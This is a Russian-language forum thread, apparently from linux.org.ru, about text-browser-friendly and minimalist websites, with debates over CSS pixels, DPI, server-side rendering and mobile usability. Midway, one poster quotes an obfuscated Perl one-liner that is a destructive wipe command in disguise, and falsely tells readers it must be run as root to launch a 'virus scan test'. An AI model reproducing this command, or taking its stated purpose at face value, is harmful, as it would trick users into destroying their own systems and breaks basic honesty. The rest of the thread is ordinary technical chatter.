Зачем гугл рекомендует делать сайты под текстовые браузеры?

Ну для продающего/информационного сайта, без особой интерактивности, совет не лишен смысла. Заодно решаются все проблемы с индексацией ПС.

Пример можно такого сайта?

http://lib.ru/

А ещё?

Кстати, на счет индексации, гугель индексирует DOM, не тупо парсит сырой html. Есть нюансы, кто знает подродности отпишитесь, пож

http://suckless.org/

А еше http://localhost/mylib

гугель индексирует DOM, не тупо парсит сырой html

А откуда он возьмёт этот DOM, если распарсит HTML?

Не понял вопроса, уточните

У нас в рунете модно рендерить весь react в HTML и отдавать такую страничку средствами nodejs клиенту. Видимо, надеются увеличивать продажи своих копыт и рогов

https://www.linux.org.ru

Виноват. Откуда он возьмёт этот DOM, если не распарсит HTML?

Html скармливается дом парсеру, разумеется. Например https://github.com/jsdom/jsdom. Думаю в гугле технологии на пару голов выше

да даже google.com поддерживает текстовые броузеры и opennet.ru тоже, и ЛОР.

Это проще

http://motherfuckingwebsite.com/

Это нормальная практика на коммерческих сайтах, чтоб не спрашивали, почему вкладка падает или скрипты тормозят и почему сайт крутит крутилку и грузится полчаса.

А что сложнее? Если каждый васянский бложик нынче SPA которое чуть что пустую страницу кажет или требует запуска скриптов! в консоли броузера чтобы раздуплиться из-за багов с кешем и обновлениями (привет, gmail). Да, от SPA есть польза если это некий сервис, типа почтового клиента, игрушки и тп. но если быдлосайтик с картиночками пытается весь ко мне загрузиться то ну его нафиг. Вот gmail с его пожиранием памяти и процессора я еще потерплю, но всякое прочее говнище - ну его нафиг.

opennet.ru freebsd.org fedoraplanet.org planet.debian.org debian.org хватит?

А ещё?

http://motherfuckingwebsite.com/

кстати такое себе. есть сайтики, сделанные аж в 95 году, но гораздо притяней и интересней.

сделанные аж в 95 году, но гораздо притяней и интересней.

Покажи такие сайтики, которые достойны использования пусть не каждодневно, но хотя бы раз в неделю.

У нас в рунете модно рендерить весь react в HTML

А у меня в планах не реакт, а Vue выучить.

Владимир

спасибо, схоронил

Ну тогда уж и http://bettermotherfuckingwebsite.com/ вместе с https://perfectmotherfuckingwebsite.com/ в копилку )

http://motherfuckingwebsite.com/

/me сделал автору джоб оффер на позицию сениора.

*прослезился от умиления*

Ух, сколько годноты натащили :-D

https://perfectmotherfuckingwebsite.com/

<link rel="stylesheet" href="/fuckingstyle.css?v=0279c1f1bba0bfb298dd2ac08b41065fc7516374">

font:18px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";color:#444

Еще чуть-чуть и ничем не отличить от js-компоста

http://bettermotherfuckingwebsite.com/

https://thebestmotherfucking.website/

http://bettermotherfuckingwebsite.com/

body {
    margin: 40px auto;
    max-width: 650px;
    ...
}

Автор этого сайта умрет от рака яиц. Он почему-то за меня решил, какой ширины текст я хочу читать. В крайнем случае, если очень хочется сделать строку короче, можно масштабировать содержимое под большие экраны, потому что иначе на устройстве с высоким разрешением на этой странице ничерта не будет видно в масштабе 100%. CSS3 media queries есть в браузерах начиная с IE 9 и первых версий FF, так что вопросов по совместимости возникнуть не должно. Особенно учитывая тот факт, что все эти media queries на браузерах без поддержки просто не будут применяться и работать будет только стиль по умолчанию.

Судя по тексту, задача стояла уместить текст в твой дерьмовый экран. И судя по твоим доброжелательным отзывам она была выполнена на 100% :D

Still fits on all your shitty screens

Ctrl-+ не сложно в броузере нажать, че ныть сразу?

Ты не знаешь о чем это Harald говорит: Парсинг кривого html из bash (комментарий)

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Может этот скрипт у него не работает? Дык, от рута нужно и тогда тест на поиск вирусов запустится.

Судя по тексту, задача стояла уместить текст в твой дерьмовый экран

Так он не уместил! Задача не выполнена. Первый сайт был годнотой, потом набежала школота со своим «я могу лучше», и выдала полнейшую срань, которая потом еще и оказалась раскопирована с минимальными изменениями. Всё, что ты должен знать про тренды в айти.

Ну как не уместил. Вьюпорт под мобильные работает. За рамки экрана на любом девайсе текст не вылазит. Получается уместил. А то, что ты не знаешь/не хочешь масштаб в браузере увеличить и желаешь страдать - это твои проблемы.

Ты не знаешь о чем это Harald говорит

Так о чем это он? Интригу завел, а что за такой «эпичный пост» - молчит.

P.S. Вообще, если мы тут говорим о максимальной простоте, тогда чем меньше кода и при этом «недостатки» просто покрываются стандартными возможностями браузера (тот же масштаб, например), тем лучше. Иначе, так можно дойти от простого CSS до полифилов на JS и массе прочего.

CSS3 media queries

Время создать http://betterbettermotherfuckingwebsite.com/ Спустя десяток поколений получится обычный, нормально сделаный вебсайт, типа лорчика, но драмы уже не будет.

Первую версию не видел, как-то вскользь прочел. Так что, может мы говорим об одном и том же.

Вообще, если мы тут говорим о максимальной простоте, тогда чем меньше кода и при этом «недостатки» просто покрываются стандартными возможностями браузера (тот же масштаб, например), тем лучше. Иначе, так можно дойти от простого CSS до полифилов на JS и массе прочего.

А то, что ты не знаешь/не хочешь масштаб в браузере увеличить и желаешь страдать

Всего-лишь изменить масштаб, всего-лишь подправить CSS, всего-лишь поставить пропатченный браузер — и так далее. Сайт из коробки на значительной части устройств выглядит как говно — дальше уже идут пляски разной стекпени сложности. Справедливости ради, он таки адаптирован под игрофоны, а они нынче составляют большую часть устройств — это единственное оправдание. Однако же, этой проблемы не было на оригинальном motherfuckingwebsite.com, в котором применялись браузерные стили.

Браузерные стили — это не значит, что нельзя менять фон, цвет шрифта, нельзя его масштабировать. Если ты зайдешь в настройки FF иил хрома, то увидишь, четыре основных семейства стандартных шрифтов: умолчательный, serif, sans-serif, monospace. И размер их ни разу не обязан быть 16 пикселей, хотя обычно таки 16. По идее, пользователь должен был бы настраивать шрифт под свой экран, или же шрифт уже поставлялся настроенным с устройством. Дальше сайт пляшет от этих настроек, что-то вроде

h1 {
  font-size: 2rem;
}

Первую версию не видел, как-то вскользь прочел. Так что, может мы говорим об одном и том же

Оригинал — вот этот сайт:

http://motherfuckingwebsite.com/

Потом пошли уже остальные дизайнеры со своими

font:18px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";color:#444

И прочими симптомами умственной отсталости. Такие вот стили — это полнейший рак.

Я, думаю, здесь полностью объективного мнения быть не может. Среднестатистический пользователь никогда не будет менять настройки стилей браузера по умолчанию. Поэтому часто тот же html/body задают в абсолютных единицах а дочерние в rem/em.

Так же и со шрифтами, на дизайнерском стилизованном сайте - шрифт по-умолчанию будет выглядеть вырвиглазно. И т.д и т.п.

Общее юзабилити зависит от множества факторов. Всегда будет вилка или делать максимально просто, но недочеты будут и их можно покрыть настройками (те же относительные единицы измерения от корневого в браузере и стандартные шрифты, например) или идти в сторону усложнения, но тогда и CSS на 100KB может быть мало и JS нужно будет писать. Все зависит от задачи и какого результата ты хочешь добиться.

Как пример, ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах.

На правах оффтопа:

Как это гуглится?

рендерить весь react в HTML и отдавать такую страничку средствами nodejs клиенту

Интересует такая штука, чтобы писать на js, но чтобы html рендерился на сервере.

Next.JS (это если проект только в планах, там под капотом React). Если уже написан на React, то Гугли React SSR. Но придется костылить или переписывать на Next.JS.

Среднестатистический пользователь никогда не будет менять настройки стилей браузера по умолчанию

И DPI тоже не будет менять? Как бы да, но как бы и нет, потому что есть устройства с сильно разными DPI. Это примерно как говорить «среднестатистический пользователь никогда не будет ставить драйвер видеокарты». Да, потому что этот драйвер ему поставит кто-то другой.

Всегда будет вилка или делать максимально просто, но недочеты будут и их можно покрыть настройками (те же относительные единицы измерения от корневого в браузере и стандартные шрифты, например) или идти в сторону усложнения, но тогда и CSS на 100KB может быть мало и JS нужно будет писать

Где-то с 2015 года все браузеры поголовно стали поддерживать CSS Grid и Flexbox, и описываемые тобой компромисы потеряли смысл. Только из-за поддержки IE с этим медлили, но сейчас даже в десятке Edge, не говоря уже о том, что на XP можно поставить Хром/FF, где есть нужные фичи в полном объеме. А CSS современный поддерживает даже анимацию, даже какое-нибудь не сильно сложное слайдшоу и галерею можно реализовать на одном лишь CSS, без JS.

ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах

А что удобно? По-твоему, откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

Server-side rendering.

px в CSS не зависят от DPI. И причем здесь Grid и Flexbox, вообще?

px в CSS не зависят от DPI

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки. Но даже такое определение не спасает от разного размера экранов, из-за чего шрифт может понадобиться больше.

И причем здесь Grid и Flexbox, вообще?

При том, что они позволяют делать гибкую верстку под разные размеры шрифтов и экранов, без необходимости сношаться со сложной версткой на CSS и JS.

Ну, ок. Что такое CSS-пиксели ты не знал, я понял. Но, я думаю, ты в курсе, что JS и полифилы пишут не только лишь потому :D Лейауты это только малая часть почему использовали JS. На одном лишь CSS можно очень много чего реализовать, но то что выходит за рамки его возможностей - невозможно сделать без JS (а такого очень-очень много). Например, как ты задачу с WebGL на CSS собираешься решать?

На одном лишь CSS можно очень много чего реализовать

Здорово, братан! Как сам? Я за чистый CSS или бутстрап, на крайний случай. Делаю сайт на джанге, потом тебе покажу, через месяца три.

Владимир

Привет. Норм. Будем ждать всем ЛОРом.

Будем ждать всем ЛОРом.

Нет уж, на хер. Только тебе в личку. Ты добрый пацан, а этим вурдалакам ничего не покажу, обосрут ))

Владимир

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки.

Повторяю, пиксели в CSS это относительные единицы. Ты точно во фронте работаешь?

Владимир подкрался незаметно. И засадил свою питоноджангу в узенький имейл Stack77. Смотреть без смс

Так и думал, что ты без таких фраз диалог не сможешь долго вести. И что это ты своего Шульмана на Архыза променял? Как так? https://www.linux.org.ru/forum/development/16122264?cid=16124523

Так и думал, что ты без таких фраз диалог не сможешь долго вести.

Это не мой коммент был.

Владимир

Ну да, а потом окажется, что Владимир - это какой-нибудь перец, который еще с М.Валянским ЛОР пилил в истоках. От критики, пожалуй, воздержусь. Ты же не стеснительный парень, показывай всем работу, как закончишь.

P.S. Всё на сегодня, а то мне скор обнулят :)

Всего-лишь изменить масштаб

В своем изначальном сообщении с критикой длины строки, ты сам же предлагал увеличивать масштаб тем, кому не нравится, что строка по дефолту не ограничена. То есть, когда тебе предлагают встать на тобой предложенное место, тебе внезапно это не нравится.

Что такое CSS-пиксели ты не знал, я понял

Ты хочешь сказать, что я не знал, что можно элементы в браузере масштабировать? Я привел пересказ цитаты из стандарта только для того, чтобы показать, что пиксель — это, на самом деле, черт знает что, и смысл он имеет только по отношению к другому пикселю. То есть, если я пишу «font-size: 18px», то это не говорит абсолютно ничего про читаемость шрифта. Если же я пишу «font-size: 2em», то это значит, что шрифт будет больше стандартного. А как узнать, сколько же пикселей нужно на самом деле? А никак — только спросить у пользователя или системы.

Например, как ты задачу с WebGL на CSS собираешься решать?

При чем тут WebGL? У нас тема про текстовые браузеры.

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки.

Повторяю, пиксели в CSS это относительные единицы. Ты точно во фронте работаешь?

Это цитата из стандарта, если чо. Пиксели не совсем относительны, но их абсолютно значение довольно размыто описано.

В своем изначальном сообщении с критикой длины строки, ты сам же предлагал увеличивать масштаб тем, кому не нравится, что строка по дефолту не ограничена

Я не писал такого. Я писал про CSS media query, и 99% пользователей не имеют ни малейшего понятия о том, что это такое.

Ты хочешь сказать, что я не знал, что можно элементы в браузере масштабировать?

Уже несколько раз написал, что CSS-пиксели это относительная величина. Это не настоящие пиксели. Соответственно, заданная величина в CSS выглядит примерно одинаково (+-) на мониторах с разным DPI. Как еще объяснить - не знаю.

Server Side рендеринг. Пишешь на react/vue, и грузишь всё это говнецо не в браузер клиента, а на свой же nodejs сервачок и там заставляешь крутиться шестеренкам, выплевывая клиенту тупой HTML5

откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

Не очень понял к чему ты клонишь… по мне так, большинство приложух это либо обертки над сайтами, либо их приложухи легко можно было сделать как SPA сайты, но продвигать такие поделия очень не просто. Ведь большинство юзеров тупы и не ходят по сайтам. А запускают иконку на столе-дашборде своей мобилки, и тыкают по кнопкам, не заморачиваясь всякими адресными строками, логинами/паролями и прочей херней

При чем тут WebGL? У нас тема про текстовые браузеры.

При том же, причем и лейауты ты приплел непонятно к какому месту. Наверное, к тому, что не все возможно сделать на чистом CSS и его функционала часто недостаточно в современном веб.

ТС, кстати, под текстовыми браузерами понимает хромиум с отключеным JS. Хотя текстовый браузер - это links, например. Но, ТС и «плюсы выучил», поэтому к нему претензий нет. А вот, когда ты ссылается на одно, а когда отвечают - спрашиваешь: ты это к чему? Выглядит странно.

Уже несколько раз написал, что CSS-пиксели это относительная величина. Это не настоящие пиксели

Вот прям сейчас на лоре заскринил страницу и посчитал пиксели. 18 пикселей. В стилях 18px. У меня 120 DPI. Что я делаю не так?

откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

по мне так, большинство приложух это либо обертки над сайтами

Бинго! Потому что сайтом неудобно пользоваться на игрофоне. Почти любым сайтом. Мой оппонент выдвинул тезис «LOR неудобен на игрофоне, хотя сделано по уму».

Ты можешь byko3y как-то объяснить что такое пиксели в css? Я уже заебался.

При том же, причем и лейауты ты приплел непонятно к какому месту. Наверное, к тому, что не все возможно сделать на чистом CSS и его функционала часто недостаточно в современном веб

Да, но мы отошли от темы. И я отошел, и ты, тут уже и вовсе WebGL начался — я напомнил, о чем тред.

Отмечу, что в CSS разрешение устройства (экрана) эквивалентно для изображений, видео и медиа-запросов. А дальше кастую menangen, ибо я бессилен. Пусть он тебе расскажет об экранах высокой плотности и почему CSS-пиксели != реальным пикселям.

Как пример, можешь в инструментах разработчика браузера навести курсор на тег html (в развернутом на весь экран окне). Скорее всего ты удивишься, т.к. ширина элемента в браузере будет отличаться от фактической ширины разрешения монитора. Правда, может быть и 1:1.

P.S. И правильно, все же не DPI, а PPI. Хотя и сам (как и многие) и так и так говорю, но первое - это больше к принтерам относится.

Доброй ночи!

Я на своём iphone 6+, iphone 8 практически не нахожу сайты, которыми не удобно пользоваться. Чаще это словно специально не допиленные поделия, не учитывающие устройства с тач скринами, а создатели хрен забили на mobile first

Моё мнение, что создание приложух в сторы - это маркетинговый ход. А не просто «неудобно пользоваться сайтами». Приложуху легко продвигать, в рамках стора, легко продвигать, имея уже работающий и популярный сайт

Да, у нативных приложений много плюсов. Но каждое 4-ое приложение делают на электроне, а это браузер внутри приложухи. Т.е. они все-равно разрабатывают локальный сайт, но с легким доступом к покупкам и кошельку пользователя! Именно ваши потенциальные бабосики двигают менеджеров на ваши мобилки

эквивалентно для изображений, видео

Немного неоднозначно написал. Имелось в виду разрешение самого изображения. Т.е. для экранов высокой плотности требуется указывать изображения в более высоком разрешении (при этом свойства высоты/ширины CSS оставляя прежними), чтобы изображение не «растягивалось» и не было «пикселизации». Естественно, это требуется только для растровых изображений.

Кроме прочего, CSS-пиксели это одна из причин, почему даже многие нативные приложения используют возможности CSS под капотом. Как минимум это упрощает работу и спасает от «плясок с бубном» на дисплеях с разным PPI.

Ну, и как заметил menangen для хорошего юзабилити важно использовать концепцию «mobile first». Т.е. макет в первую очередь должен быть адаптирован под мобильные устройства. Именно в этом, на мой взгляд, причина плохого юзабилити ЛОРа на мобильных, т.к. он в первую очередь разрабатывался под десктопы.

не говоря уже о том, что на XP можно поставить Хром/FF

Давно пробовал? XP давно не поддерживается, и это уже становится заметно.

AFAIK, на XP современный хром не заведется. Но даже не в этом дело. На XP просто не найти дров на более-менее современное железо. На старое железо ее также нет особого смысла ставить, т.к. масса приложений не будет работать (как-то пробовал ставить, думал может удобней прогать не шибко новые микроконтроллеры, оказалось - нет).

Я только не очень понимаю смысла разжевывать это всё «нубам». Пусть сам копает всякие toster, там в вопросах разжёвано всё, да и разобраться с ретиной и всякими @2x, @3x - дело одного вечера. Больше прикалывает ситуация с ретина экранами на десктопе - их почти нет, тока маки. На мобилках то давно высокая четкость, а в инете до сих пор лидирует 1920x1080

Потому что обычно люди берут не топовые видеокарты под шиндожз. И нафига ретина когда есть 4К-8К?

Вот 24" 75гц 7900

https://market.yandex.ru/product--monitor-hp-v24-24/767549054?nid=18072760&show-uid=16114930130633879680916001&context=search&glfilter=4913584%3A24~24&glfilter=4913592%3A12103953&onstock=1

А вот 22" 60гц 6580

https://market.yandex.ru/product--monitor-hp-v22-9sv80aa-22/785663438?nid=18072760&show-uid=16114930891000156963816001&context=search&glfilter=4913584%3A22~24&glfilter=4913592%3A12103953&onstock=1

Днище….

а в инете до сих пор лидирует 1920x1080

Боже, хоть кто-то это наконец сказал. Я читаю ЛОР, такое ощущение, что все себе нахватали 4К как минимум. Захожу в рязанские Nix и DNS — там на полках все мониторы строго 1920x1080. Нет, под заказ они привезут, что хочешь, вопросов нет. Но на полках стоит то, что пользуется более-менее устойчивым спросом.

Ведь большинство юзеров тупы и не ходят по сайтам. А запускают иконку на столе-дашборде своей мобилки, и тыкают по кнопкам, не заморачиваясь всякими адресными строками, логинами/паролями и прочей херней

Да, но я то не такой…

Владимир

Меня ваще тошнит уже от этих пропорций 16:9, даже фильмы многие снимают в других пропорциях, и от черных полосок нет способа избавиться. Раньше были почти квадратные 4:3 и было удобно кодить, были бы сейчас такие квадраты, но с ретина экраном…

Раньше были почти квадратные 4:3 и было удобно кодить

+100500. Пару лет назад взял древний (не с ЭЛТ, если что :D) б/у 1024x768 с VGA под тестовое железо с голой консолью. Хоть и не часто пользуюсь, но под консоль очень удобно (а может ностальгия у меня) и места мало занимает.

были бы сейчас такие квадраты, но с ретина экраном…

Это да.

древний (не с ЭЛТ, если что :D) б/у 1024x768

Я на таком работаю. На новое железо пока денег нету :(

Владимир

mc + vim + tmux идеально на 4:3 и разрешение больше не нужно. Вообще не жалею, что взял б/у (причем, собирался нормальный брать, по дороге зашёл в мастерскую, а там это чудо практически в идеальном состоянии). Обошёлся в гроши какие-то, что-то около полторы тысяч рублей.

Мониторов вообще много не бывает, а этот - как в прошлое вернулся. Цаца :)

Пример можно такого сайта?

Сплошная статика и эротика

http://p0n4ik.tk

Джаваскрипту тут по минимому, где совсем нельзя было избежать

ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах

А поясните кто-нибудь далекому от игрофонов дяде на паре примеров, где ЛОР неудобен, а другие сайты удобны на мобильных устройствах?

Из русскоязычных - зайди на хабр или форум searchengines.guru и посмотри как там сделана навигация, какие размеры элементов и как они выглядят, где аватарка распологается относительно текста и т.д. и т.п. Ну и использование JS позволяет не перезагружать страницу на каждый клик.

Это по минимуму, если разбирать подробно, получится дофига текста. Но, я уверен, ты все равно скажешь - это все говно и не нужно. Не думаю, что тебе имеет смысл что-то доказывать.

searchengines.guru

Угу, я понял идею. При довольно простом сайте имеются 400 кб стилей, которые представляют собой бесконечные media query под разную ширину экранов — там скорее всего исходник представляют собой ненамного меньшую простыню из кучи макросов на каком-нибудь stylus.

Так-то там один «скомпиленый» файл стилей и весить он 70КБ в сжатом виде. CSS такого размера, уж точно, не узкое место современного (да и не только) web, когда одна картинка на странице весит > 100КБ. Что тебе объяснять… Как с радио говорить.

З.Ы. Почему ты называешь смартфон «играфоном» (интересно)? Например, в моем телефоне игрушек 0 целых 0 десятых.

Почему ты называешь смартфон «играфоном» (интересно)? Например, в моем телефоне игрушек 0 целых 0 десятых

Я вот, бывает, игры на ютьюбе прохожу.

Еще одно новое движение NoJS, NoCSS, NoBootstrap, NoServer?

Требуется верстальщик HTML, да

Ясно, я как то в плане игрушек «отстал от жизни». Извини, если грубовато ответил. Я без всякого подтекста. Просто, вижу, что у тебя свое мнение сформировалось о том «как правильно». Вряд ли я или кто-то тебя сможет переубедить. Поэтому спорить на подобную тему просто бессмысленно. Что до объема кода CSS, он же не пишется весь руками. Там какой-нибудь bootstrap под капотом 80-90% кода занимает.

CSS, он же не пишется весь руками. Там какой-нибудь bootstrap под капотом 80-90% кода занимает.

Я использую бутстрап. Но он немного грубовато выглядит и однообразно.

Владимир